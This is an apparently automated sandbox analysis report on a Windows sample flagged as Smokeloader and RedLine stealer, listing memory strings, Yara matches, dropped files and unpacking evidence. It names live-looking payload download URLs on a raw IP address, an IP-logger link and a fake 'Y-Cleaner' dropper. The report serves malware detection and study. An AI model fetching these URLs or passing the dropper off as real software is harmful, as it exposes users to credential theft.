Source: dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1824890347.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/add?substr=mixtwo&s=three&sub=emp
Source: dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/download
Source: dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/downloadft
Source: dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download23/files/downloadwo&s=three&sub=emp
Source: dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875426608.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927026638.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953566017.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1849981502.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901433498.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download6
Source: dI3n4LSHB7.exe, 00000000.00000002.2421379275.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/download=%
Source: dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927026638.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953566017.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadF
Source: dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadLMEM
Source: dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadX
Source: dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadd
Source: dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadft
Source: dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadj
Source: dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/files/downloadwo&s=three&sub=emp
Source: dI3n4LSHB7.exe, 00000000.00000002.2421379275.0000000000E17000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.156.73.23/soft/download
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: dI3n4LSHB7.exe	Static PE information: section name:
Source: dI3n4LSHB7.exe	Static PE information: section name: .idata
Source: dI3n4LSHB7.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CF9D60		0_3_04CF9D60
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CFC7DD		0_3_04CFC7DD
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D097F2		0_3_04D097F2
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D037F9		0_3_04D037F9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CFE720		0_3_04CFE720
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D030E6		0_3_04D030E6
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CF2070		0_3_04CF2070
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D09912		0_3_04D09912
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CFCA0F		0_3_04CFCA0F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00402C70		0_2_00402C70
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040A960		0_2_0040A960
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040F320		0_2_0040F320
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040D3DD		0_2_0040D3DD
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0041A3F2		0_2_0041A3F2
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_004143F9		0_2_004143F9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00413CE6		0_2_00413CE6
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0041A512		0_2_0041A512
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040D60F		0_2_0040D60F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9		0_2_009960C9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00988C5D		0_2_00988C5D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_008FF98A		0_2_008FF98A
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00894192		0_2_00894192
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009545FB		0_2_009545FB
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0096D935		0_2_0096D935
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0086A2C6		0_2_0086A2C6
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_008BCEFA		0_2_008BCEFA
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0089E2FE		0_2_0089E2FE
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0098F63A		0_2_0098F63A
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00991E28		0_2_00991E28
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00992BBA		0_2_00992BBA
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0098DB19		0_2_0098DB19
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0098A715		0_2_0098A715
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0081CB1A		0_2_0081CB1A
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00997B21		0_2_00997B21
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00AAC8D9		0_2_00AAC8D9
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00AAEE49		0_2_00AAEE49
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4F587		0_2_04B4F587
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B5A659		0_2_04B5A659
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4D644		0_2_04B4D644
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B5A779		0_2_04B5A779
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B53F4D		0_2_04B53F4D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4D876		0_2_04B4D876
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4ABC7		0_2_04B4ABC7
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B43B27		0_2_04B43B27

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: String function: 04CF8FA0 appears 34 times
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: String function: 04B49E07 appears 34 times
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: String function: 10003160 appears 32 times
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: String function: 00409BA0 appears 35 times

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6780 -s 480

Source: dI3n4LSHB7.exe, 00000000.00000003.2164532643.00000000058B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs dI3n4LSHB7.exe
Source: dI3n4LSHB7.exe, 00000000.00000003.2164899084.00000000058D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs dI3n4LSHB7.exe
Source: dI3n4LSHB7.exe, 00000000.00000003.2164646451.0000000006112000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs dI3n4LSHB7.exe

Source: dI3n4LSHB7.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2421354084.0000000000D79000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: dI3n4LSHB7.exe

Static PE information: Section: ghfuhyhn ZLIB complexity 0.9900847496345029

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00D7A3BE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6780

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

File created: C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w

Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Command line argument: emp		0_2_00408020
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Command line argument: mixtwo		0_2_00408020

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: dI3n4LSHB7.exe	Virustotal: Detection: 57%
Source: dI3n4LSHB7.exe	ReversingLabs: Detection: 63%

Source: dI3n4LSHB7.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\dI3n4LSHB7.exe "C:\Users\user\Desktop\dI3n4LSHB7.exe"
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6780 -s 480

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe

Source: dI3n4LSHB7.exe

Static file information: File size 1945600 > 1048576

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: dI3n4LSHB7.exe

Static PE information: Raw size of ghfuhyhn is bigger than: 0x100000 < 0x1ab800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Unpacked PE file: 0.2.dI3n4LSHB7.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ghfuhyhn:EW;ddcmvylx:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dI3n4LSHB7.exe	Static PE information: real checksum: 0x1e220e should be: 0x1dec7c
Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243

Source: dI3n4LSHB7.exe	Static PE information: section name:
Source: dI3n4LSHB7.exe	Static PE information: section name: .idata
Source: dI3n4LSHB7.exe	Static PE information: section name:
Source: dI3n4LSHB7.exe	Static PE information: section name: ghfuhyhn
Source: dI3n4LSHB7.exe	Static PE information: section name: ddcmvylx
Source: dI3n4LSHB7.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D0E2B5 push esi; ret		0_3_04D0E2BE
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0041FAB5 push esi; ret		0_2_0041FABE
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push eax; mov dword ptr [esp], edx		0_2_009960D1
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ebx; mov dword ptr [esp], edx		0_2_009960EB
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push ecx; mov dword ptr [esp], esi		0_2_0099612C
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 4F7423A2h; mov dword ptr [esp], edx		0_2_00996180
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_009960C9 push 1417B080h; mov dword ptr [esp], edi		0_2_009961F3
